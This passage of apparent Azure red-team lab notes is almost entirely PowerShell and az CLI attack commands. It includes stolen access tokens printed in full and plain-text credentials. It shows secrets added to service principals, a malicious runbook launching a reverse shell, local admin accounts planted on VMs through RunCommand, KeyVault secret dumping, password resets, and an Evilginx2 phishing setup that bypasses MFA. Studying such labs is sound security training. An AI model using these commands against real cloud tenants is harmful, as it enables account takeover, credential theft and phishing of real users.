'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDIzMTIxNzUsIm5iZiI6MTY0MjMxMjE3NSwiZXhwIjoxNjQyMzk4ODc1LCJhaW8iOiJFMlpnWUZEZEtkRHo3YnBNTUZ2cDYwV0hBOHB2QXdBPSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRpWkU1R0pHWER4T2lvbjBZZFhWaHZKd0FBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJlZVljR3EySlowSzIzUFFXakFlZkFRIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0lUL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL3Byb2Nlc3NmaWxlIiwieG1zX3RjZHQiOjE2MTUzNzU2Mjl9.p1my57OcyS4pYlWBLY_wngtm-r7zBbmgMA-UmDzdjpGv-GuxQVUs6ze9JI94bVb5OTSMZ6TNQE6xCpRefy04xUL4lY4mst-OUGic40T_tFy5egtunWX8537zvtR1_pW3TSsEf22mfYU2nKvytu2HfF767EDxvlVUS4bxC7Yvmjtjwrp4qTW_5FMxc1vCKqtBAKeo0XXDshUZ3B3Sl5BWHmAEuX-cVXuLj5PBzQQ3e8NwaUF4XHXZE1-YjQM1JHAgo7Mt78j1XchkHrNLbvzVH0Jsqq-lWIU-UexBK5oYIEafavPUsDg6UXu67Mkmc25s_kKjUj2Z6EZ_PxOzzFM6QQ' 108 | $graphtoken = 'eyJ0eXAiOiJKV1QiLCJub25jZSI6InFQdGR2OUVkRElfRlJCeE9HU1JGYmdZcDl1REEzeWdXdTlyQ3dFTkJ5bXMiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MjMxMjE3NiwibmJmIjoxNjQyMzEyMTc2LCJleHAiOjE2NDIzOTg4NzYsImFpbyI6IkUyWmdZTmpOODlYb0xzTnZiNGI1VCtibmRGMDVBQUE9IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0aVpFNUdKR1hEeE9pb24wWWRYVmh2SndBQUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiaFlyQk41NkZfRU85MkRGbTBxa09BQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.HaGkPXqyUdcRX2eZ9l6V9Tmiq-f8LpeFO47zqyVq_xNJTmqjnVBDw-eCeT7rdTY0pc5aCUxz9LQoKGuQpxvkbW8LjIvSCgsJU-DMfmJM6nRoMND2N1KcA542X9UkFOoqzs-c-Warcyz9c__7Fc9vsCwKh4K7DffB9IIKyR1fRPvL1xfkISOMNsG6bYJYWqjdYDtVrP6_sT5ckn-8IxTdKakGoBBmsTKgCD1w4rvN71-lJn1p_Q5jUeEbesxEjszqPq1rEsZfv1XlRyLTKLx3XkEQYhS9kMnpGNkHBvnFIG15qr7z7Lm8HdffDE2ZBBm7pgd4L3fRY-YPSCdH7irqMw' 109 | Connect-AzAccount -AccessToken $token -GraphAccessToken $graphtoken -AccountId 62e44426-5c46-4e3c-8a89-f461d5d586f2 110 | Get-AzResource 111 | # has no subscriptions, so now we enumerate again with restapi 112 | $URI = 'https://graph.microsoft.com/v1.0/applications' 113 | $RequestParams = @{ 114 | Method = 'GET' 115 | Uri = $URI 116 | Headers = @{ 117 | 'Authorization' = "Bearer $graphtoken" 118 | } 119 | } 120 | (Invoke-RestMethod @RequestParams).value 121 | # So there are a bunch. The easiest way to check of we can abuse it is if we can add a credential to it, then we could abuse the SPN. 122 | $id = 'eb29d35c-9246-427c-99f9-8b443ee7f6aa' 123 | $URI = "https://graph.microsoft.com/v1.0/servicePrincipals/$id/appRoleAssignments" 124 | $RequestParams = @{ 125 | Method = 'GET' 126 | Uri = $URI 127 | Headers = @{ 128 | 'Authorization' = "Bearer $graphtoken" 129 | } 130 | } 131 | (Invoke-RestMethod @RequestParams).value 132 | # If it errors, then the api is broken. Use the Add-AzADAppSecret.ps1 133 | . C:\AzAD\Tools\Add-AzADAppSecret.ps1 134 | Add-AzADAppSecret -GraphToken $graphtoken -Verbose 135 | # Looks like we found one! 136 | 137 | ## Exploiting Storage 138 | Invoke-EnumerateAzureBlobs 139 | # this uses the permutations file. Add your own if you have a different list 140 | Invoke-EnumerateAzureBlobs -Base defcorp -Permutations .\perms.txt 141 | # for each one it finds, you can navigate to it and see whats up 142 | iwr 'https://defcorpcommon.blob.core.windows.net/backup?restype=container&comp=list' 143 | iwr 'https://defcorpcommon.blob.core.windows.net/backup?restype=container&comp=list' -OutFile backup.xml 144 | type backup.xml 145 | # it has a "blob_client.py", let's get that 146 | iwr -uri 'https://defcorpcommon.blob.core.windows.net/backup/blob_client.py' -OutFile blob_client.py 147 | 148 | 149 | ## Automation Attack 150 | # Assuming we have lateraled to a user and we have a shell on the box 151 | az ad signed-in-user show 152 | # grab the object-id so you can use it later for AccountId 153 | az automation account list 154 | # if it returns an error, we need to add the extention 155 | az extension add --upgrade -n automation 156 | # Now check which objects Mark owns 157 | az ad signed-in-user list-owned-objects 158 | # Let's get an access token 159 | az account get-access-token --resource-type aad-graph 160 | # Grab Access key and tenant Id 161 | # Now go back to your powershell and migrate 162 | Import-Module AzureAD.psd1 163 | $AADToken = "" 164 | $objectId = "" 165 | $accountId = "" 166 | $tenantId = "2d50cb29-5f7b-48a4-87ce-fe75a941adb6" 167 | Connect-AzureAD -AadAccessToken $AADToken -TenantId $tenantId -AccountId $accountId 168 | # no we have the user, let's add mark to the group 169 | Get-AzureADGroupMember -ObjectId $objectId 170 | $refId = "" 171 | # Add a user to the group 172 | Add-AzureADGroupMember -ObjectId $objectId -RefObjectId $accountId -Verbose 173 | # Check to see what runbooks you can use. Jump back to the reverse shell 174 | az automation account list 175 | # We will need the 'id' field as the scope, 'Name' as AutomationAccountName, and 'resourcegroup' as ResourceGroupName 176 | # Now request an automation token 177 | az account get-access-token 178 | # Now you can go BACK to your revshell with this value 179 | $AccessToken = "" 180 | Connect-AzAccount -AccessToken $AccessToken -GraphAccessToken $AADToken -AccountId $accountId 181 | # Now get the role for Mark in the automation account 182 | $scope = '/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation' 183 | Get-AzRoleAssignment -Scope $scope 184 | # We are in the Automation Admins, great! We can now execute Runbooks 185 | Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering 186 | # it shows the name and worker. If the worker looks like on-prem stuff, winner! 187 | # Let's run the book with our malicious code and see what happens 188 | Import-AzAutomationRunbook -Name student170 -Path C:\AzAD\Tools\studentx.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose 189 | Publish-AzAutomationRunbook -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose -Name student170 190 | # STart your netcat listener! 191 | Start-AzAutomationRunbook -Name student170 -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose 192 | 193 | ## Abuse Managed Identify permissions to execute commands on a VM 194 | $AccessToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDIzNzI2MjIsIm5iZiI6MTY0MjM3MjYyMiwiZXhwIjoxNjQyNDU5MzIyLCJhaW8iOiJFMlpnWUhBSXVsTWt1cE12NWt1NmRZckVSaDBMQUE9PSIsImFwcGlkIjoiMDY0YWFmNTctMzBhZi00MWYwLTg0MGEtMGUyMWVkMTQ5OTQ2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiY2M2N2M5MGQtZDllOS00MGQyLWI1MTEtOWQ1MmQ2NzY4MmFiIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRsZXZTZ2F2TVBCQmhBb09JZTBVbVVad0FBQS4iLCJzdWIiOiJjYzY3YzkwZC1kOWU5LTQwZDItYjUxMS05ZDUyZDY3NjgyYWIiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJZaDk4ZE52NU1VMjEyblpWUG5NUEFBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0VuZ2luZWVyaW5nL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL2RlZmNvcnBocWNhcmVlciIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.faflZkqHpOHaLvIEOqlleEmvXplJhJLeQMcsmUWMO6RhTNwFZQvoPOet0w7arasa7UKnGwiL8ci-gzbgBpN3oCDgm8PS0j49z1gwdwhfNm6JZsAUG5Veb69yZV5S4feuQI2-OkdqOdXIVKgxeeE3PKTXerVwcyn3zx5KQUArdK05-xjWwdG57kdCzDrHurJsHkh9-O4kY182V1tXtmjiGZUOIit5tmy83CoQSFBsjmgUEQt07Cni-74Qduza5nhjP28PkC4PFlt1vbVdAqbH1_M4PDnjLIrdzW9evP-YGV6V9gXGkKyC7HjldJyYRM0sho_RhfgsOy5MIBlJ0SIr4A' 195 | $client_id = '064aaf57-30af-41f0-840a-0e21ed149946' 196 | Connect-AzAccount -AccessToken $AccessToken -AccountId $client_id 197 | Get-AzResource 198 | # So we have a VM here, let's dig in! Pull out the Name and ResourceGroup 199 | $resources = Get-AzResource 200 | $name = "bkpadconnect" 201 | $resourceGroup = ($resources | ?{ $_.Name -eq $name }).ResourceGroupName 202 | # Let's see if there are any network restrictions to connect to it 203 | $interface = Get-AzVM -Name $name -ResourceGroupName $resourceGroup | select -ExpandProperty NetworkProfile 204 | # Use a trick to get the last string block of the path 205 | $interfaceName = Split-Path -Path $interface.NetworkInterfaces.Id -Leaf 206 | Get-AzNetworkInterface -Name $interfaceName 207 | # it says it has a public IP address...cool, let's grab that 208 | $ipId = Split-Path -Path (Get-AzNetworkInterface -Name $interfaceName).IpConfigurations.PublicIpAddress.Id -Leaf 209 | # Now grab that public IP 210 | Get-AzPublicIpAddress -Name $ipId 211 | $ipAddress = (Get-AzPublicIpAddress -Name $ipId).IpAddress 212 | # Now let's add our user to the VM with a script. Save in a file the following (make sure the password meets the complexity requirements!: 213 | $passwd = ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force 214 | New-LocalUser -Name artilleryRed -Password $passwd 215 | Add-LocalGroupMember -Group Administrators -Member artilleryRed 216 | # save that in a file with a PS1 extention and let's upload it 217 | Invoke-AzVMRunCommand -VMName $name -ResourceGroupName $resourceGroup -CommandId 'RunPowerShellScript' -ScriptPath C:\Users\studentuser170\Documents\vmUserAdd.ps1 -Verbose 218 | # Did it say "succeeded"? If so, it worked (it uploaded the script and ran it, so check your script). Now we can access remotely (as long as the VM is configured to accept remote connections!) 219 | $creds = New-Object System.Management.Automation.PSCredential('artilleryRed', $passwd) 220 | $vmsess = New-PSSession -ComputerName $ipAddress -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 221 | Enter-PSSession $vmsess 222 | # And winner! So now it is basic windows enumeration. Check lsass, registry, DPAPI, etc. 223 | Get-LocalUser 224 | # We see that bkpadconnect is that admin, he should be interesting. checking the powershell transcripts, we get some interesting creds! 225 | gc C:\Users\bkpadconnect\AppData\Roaming\Microsoft\windows\PowerShell\PSReadLine\ConsoleHost_history.txt 226 | # We found another admin account and a VM with creds! It looks like he used WinRM to connect, so we could too! 227 | # defeng-adcnct\administrator:CredsToManageCl0udSync! 228 | # ip: 172.16.1.21 229 | 230 | 231 | ## Abusing KeyVault 232 | # get the keyvault token with https://vault.azure.net&api-version=2017-09-01 233 | $keyvaultToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDI0MjYzMjksIm5iZiI6MTY0MjQyNjMyOSwiZXhwIjoxNjQyNTEzMDI5LCJhaW8iOiJFMlpnWUhoL1hKNXJJK2VsclhmbUNqNk5ZcnpOQndBPSIsImFwcGlkIjoiMmU5MWE0ZmUtYTBmMi00NmVlLTgyMTQtZmEyZmY2YWE5YWJjIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsIm9pZCI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0djZra1M3eW9PNUdnaFQ2TF9hcW1yeHdBQUEuIiwic3ViIjoiMzBlNjc3MjctYThiOC00OGQ5LTgzMDMtZjI0NjlkZjk3Y2IyIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiWkxEWF9zWmtKRWlGNk9INlB0b0tBQSIsInZlciI6IjEuMCIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zL2I0MTM4MjZmLTEwOGQtNDA0OS04YzExLWQ1MmQ1ZDM4ODc2OC9yZXNvdXJjZWdyb3Vwcy9SZXNlYXJjaC9wcm92aWRlcnMvTWljcm9zb2Z0LldlYi9zaXRlcy92YXVsdGZyb250ZW5kIn0.rBFF3Pgz4dG8zomI7bL91BdfOCHNU8YTFkXjoSYzTV5AbtDEe-lZUCfU2HCd8CiF52fJ0GSXknWBCfY5GlMr114bgJTzzgyX3cFQPEex0cSzYxAmAJr3Q0r9_rTP0Yj5i3mUelfK2DwWIjTb99LwQnMWNjPKTkU2hjF5SU8Yq1JaopMAbkYdklr3eA641_fu8HMFTjzZ5kLFiTSWXC_-F0xPUVFNE8tS0SqTJNjZscKud601yPb1QlDVeAr6UmUw2LshlNeefgbeP2qajsS4oTt_l9up-wbA97hPK8YQusteQBNcuBm4hgRgW2yFAr1Ac9nxG9oBb0CelVuiJTV3pA' 234 | $client_id = '2e91a4fe-a0f2-46ee-8214-fa2ff6aa9abc' 235 | # grab the ARM token with https://management.azure.com&api-verison=2017-09-01" 236 | $AccessToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MjM2NjMyMCwibmJmIjoxNjQyMzY2MzIwLCJleHAiOjE2NDI0NTMwMjAsImFpbyI6IkUyWmdZQ2haOC9QUmMvZUo1c1lmdWxmVlhXVXJCUUE9IiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiIzMGU2NzcyNy1hOGI4LTQ4ZDktODMwMy1mMjQ2OWRmOTdjYjIiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dHY2a2tTN3lvTzVHZ2hUNkxfYXFtcnh3QUFBLiIsInN1YiI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6Im9lRzFueWVXTUVTTnNTSE5aVWhHQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9iNDEzODI2Zi0xMDhkLTQwNDktOGMxMS1kNTJkNWQzODg3NjgvcmVzb3VyY2Vncm91cHMvUmVzZWFyY2gvcHJvdmlkZXJzL01pY3Jvc29mdC5XZWIvc2l0ZXMvdmF1bHRmcm9udGVuZCIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.gEyy0PhZ8Wo6RfD0WxNt3mTqugq8gWrQfSHuZvFHGf9n2KM8z32ETm8WlXEmtKlI4h1VFlZ1_2c8AnmnKmw02Sh9OTSvVUIhbTaSbZJhoydpmxtHPJScjn4XbBAF0wbSKTqlPTCO2n-cl7J3Bc6IvdZgsAAvO8dTPZDNNYEovwCiCuJmqpfNUxZbLePnsBMFmlCy4k2pUcmQy0EqJf43zpn7OSUz-KRtVaiaWQXa1perUoZNz0m_hJKoqstmHjDENB6bCxCHQlE1VH8a41ons2OEgXDAITjg8E1wP_vghBiLcKTsd50W7ylB0tpJDvylCcPNb_eRZ1NVlxhaUwO_Jg' 237 | Connect-AzAccount -AccessToken $AccessToken -AccountId $client_id -KeyVaultAccessToken $keyvaultToken 238 | # Now see what is in there 239 | Get-AzKeyVault 240 | # If there is nothing in there, then you dont' have permissions or didn't use teh right creds! 241 | # for each vault you find start enumerating 242 | Get-AzKeyVaultSecret -VaultName ResearchKeyVault 243 | # for each name in there, pull the secret 244 | Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText 245 | # username: kathynschaefer@defcorphq.onmicrosoft.com ; password: Kathy@3698TEST$#*!@# 246 | # when you find stuff, you can pivot whereever you want 247 | $creds = New-Object System.Management.Automation.PSCredential('kathynschaefer@defcorphq.onmicrosoft.com', (ConvertTo-SecureString 'Kathy@3698TEST$#*!@#' -AsPlainText -Force)) 248 | Connect-AzAccount -Credential $creds 249 | # winner, we are in! Start enumeration again 250 | Get-AzResource 251 | # there are two items. One is a VMa nd one is a monitor agent. Let's go after the VM 252 | $resourceId = (Get-AzResource | ?{$_.Name -eq 'jumpvm'}).ResourceId 253 | # what are the roles for the VM? 254 | Get-AzRoleAssignment -Scope $resourceId 255 | # says kathy is a reader, but there are other roles too. Let's enumerate to see what each of them do 256 | Get-AzRoleAssignment -Scope $resourceId | %{ GEt-AzRoleDefinition -name $_.RoleDefinitionName | select Name,Description,Actions -ExpandProperty actions} 257 | # So it looks like the "Virtual Machine Command Executor" can run commands. Let's run that down. The DisplayName is "VM Admins", who is a part of that? 258 | Get-AzADGroup -DisplayName 'VM Admins' 259 | # Okay, who is in the group? 260 | Get-AzADGroupMember -GroupDisplayName 'VM Admins' | select UserPrincipalName 261 | # Okay, that is a shit-ton. We can use the graph api to get all the details on each one to grab groups and roles 262 | $Token = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token 263 | Get-AzADGroupMember -GroupDisplayName 'VM Admins' | select UserPrincipalName | %{ $user = $_.UserPrincipalName 264 | $URI = "https://graph.microsoft.com/v1.0/users/$user/memberof" 265 | $RequestParams = @{ 266 | Method = 'GET' 267 | Uri = $URI 268 | Headers = @{ 269 | 'Authorization' = "Bearer $Token" 270 | } 271 | } 272 | (Invoke-RestMethod @RequestParams).value 273 | } 274 | # It looks like they are in the "Control Group". Let's get more information on that. Grab the id field 275 | $id = 'e1e26d93-163e-42a2-a46e-1b7d52626395' 276 | # However, we need the AzureAD module now 277 | Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 278 | Connect-AzureAD -Credential $creds 279 | Get-AzureADMSAdministrativeUnit -Id $id 280 | # yup, that is it. Now who is a member? 281 | Get-AzureADMSAdministrativeUnitMember -Id $id 282 | # It shows VM Admins is in the group. Let's see the scope 283 | Get-AzureADMSScopedRoleMembership -Id $id | fl * 284 | # so it says "Roy G Cain" is in this role. Okay. Grab that role ID and lets see what he does in AD 285 | Get-AzureADDirectoryRole -ObjectId 5b3935ed-b52d-4080-8b05-3a1832194d3a 286 | # And he is an authentication Admin. Okay, let's grab his Id and check him out 287 | Get-AzureADUser -ObjectId (Get-AzureADMSScopedRoleMembership -Id $id).RoleMemberInfo.Id | fl * 288 | # and we snagged an email. Time to go phishing again! 289 | 290 | ## Phishing using Evilginx2 and Technitium DNS 291 | # run this from a powershell and NOT ISE 292 | evilginx2.exe -p C:\AzAD\Tools\evilginx2\phishlets 293 | # inside that powershell, configure a few things: 294 | : config domain artillery.corp 295 | # this should be YOUR IP address 296 | : config ip 172.16.151.170 297 | : phishlets hostname o365 login.artillery.corp 298 | : phishlets get-hosts o365 299 | # Now you need to set up DNS so that the phishing URLs point to us 300 | # SEt up whatever you want wherever. It just has to point back to us so it does the reverse lookup! 301 | # Once DNS is ready, we can start 302 | : phishlets enable o365 303 | # It should error for a lack of certicates. Let's make some and put in that directory it needs 304 | Copy-Item C:\Users\studentuser170\.evilginx\crt\ca.crt C:\Users\studentuser170\.evilginx\crt\login.artillery.corp\o365.crt 305 | Copy-Item C:\Users\studentuser170\.evilginx\crt\private.key C:\Users\studentuser170\.evilginx\crt\login.artillery.corp\o365.key 306 | # now create a lure 307 | : lures create o365 308 | : lures get-url 0 309 | # Now we have a link. Time to fish some more! Send the email 310 | # After waiting for the user, we got a hit. This works even if MFA is enabled! 311 | # So now we can attempt to login with the new user 312 | $creds = New-Object System.Management.Automation.PSCredential('roygcain@defcorphq.onmicrosoft.com', (ConvertTo-SecureString '$7cur3ceS@!nMoka1679@111' -AsPlainText -Force)) 313 | Connect-AzureAD -Credential $creds 314 | # since roy has permissions over the VMContributor170 user, reset the VMContributor170 password 315 | (Get-AzureADUser -All $true | ?{ $_.UserPrincipalName -eq 'VMContributor170@defcorphq.onmicrosoft.com'}).ObjectId | Set-AzureADUserPassword -Password ("VM@Contributor@123@321" | ConvertTo-SecureString -AsPlainText -Force) -Verbose 316 | # so if that succeeds, disconnect and go back to AzPowershell 317 | Disconnect-AzureAD 318 | $creds = New-Object System.Management.Automation.PSCredential('VMContributor170@defcorphq.onmicrosoft.com', (ConvertTo-SecureString 'VM@Contributor@123@321' -AsPlainText -Force)) 319 | Connect-AzAccount -Credential $creds 320 | # Now start enumerating that VM 321 | Get-AzVM -Name jumpvm -ResourceGroupName RESEARCH | fl * 322 | # check IPs 323 | $interface = Get-AzVM -Name $name -ResourceGroupName $resourceGroup | select -ExpandProperty NetworkProfile 324 | Get-AZVM -Name jumpvm -ResourceGroupName RESEARCH | select -ExpandProperty NetworkProfile 325 | $interfaceName = Split-Path -Path $interface.NetworkInterfaces.Id -Leaf 326 | Split-Path -Path (Get-AzNetworkInterface -Name $interfaceName).IpConfigurations.PublicIpAddress.Id -Leaf 327 | # Okay, we can get to it. Let's add a user like we did on the last one 328 | Invoke-AzVMRunCommand -VMName $name -ResourceGroupName $resourceGroup -CommandId 'RunPowerShellScript' -ScriptPath C:\Users\studentuser170\Documents\vmUserAdd.ps1 -Verbose 329 | $creds = New-Object System.Management.Automation.PSCredential('artilleryRed', $passwd) 330 | $jumpsess = New-PSSession -ComputerName $ipAddress -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 331 | Enter-PSSession $jumpsess 332 | whoami; hostname 333 | # GOld! 334 | # now see if we have any user data stored that we can manipulate 335 | $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" 336 | $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" 337 | [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) 338 | # Yes, we got creds for samcgray! 339 | exit 340 | $pass = ConvertTo-SecureString '$7cur7gr@yQamu5913@092' -AsPlainText -Force 341 | $creds = New-Object System.Management.Automation.PSCredential('samcgray@defcorphq.onmicrosoft.com', $pass) 342 | Connect-AzAccount -Credential $creds 343 | 344 | 345 | 346 | 347 | ## AppID has permission to add a secret in the vault 348 | $appid = "62e44426-5c46-4e3c-8a89-f461d5d586f2" 349 | $AccessToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDI0NTM0NTQsIm5iZiI6MTY0MjQ1MzQ1NCwiZXhwIjoxNjQyNTQwMTU0LCJhaW8iOiJFMlpnWUNpYjhmM1Y5Q2YvanVobld3UXNZM1dxQWdBPSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRpWkU1R0pHWER4T2lvbjBZZFhWaHZKd0FBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJvVkgzWHhkcDcweUhEaEdF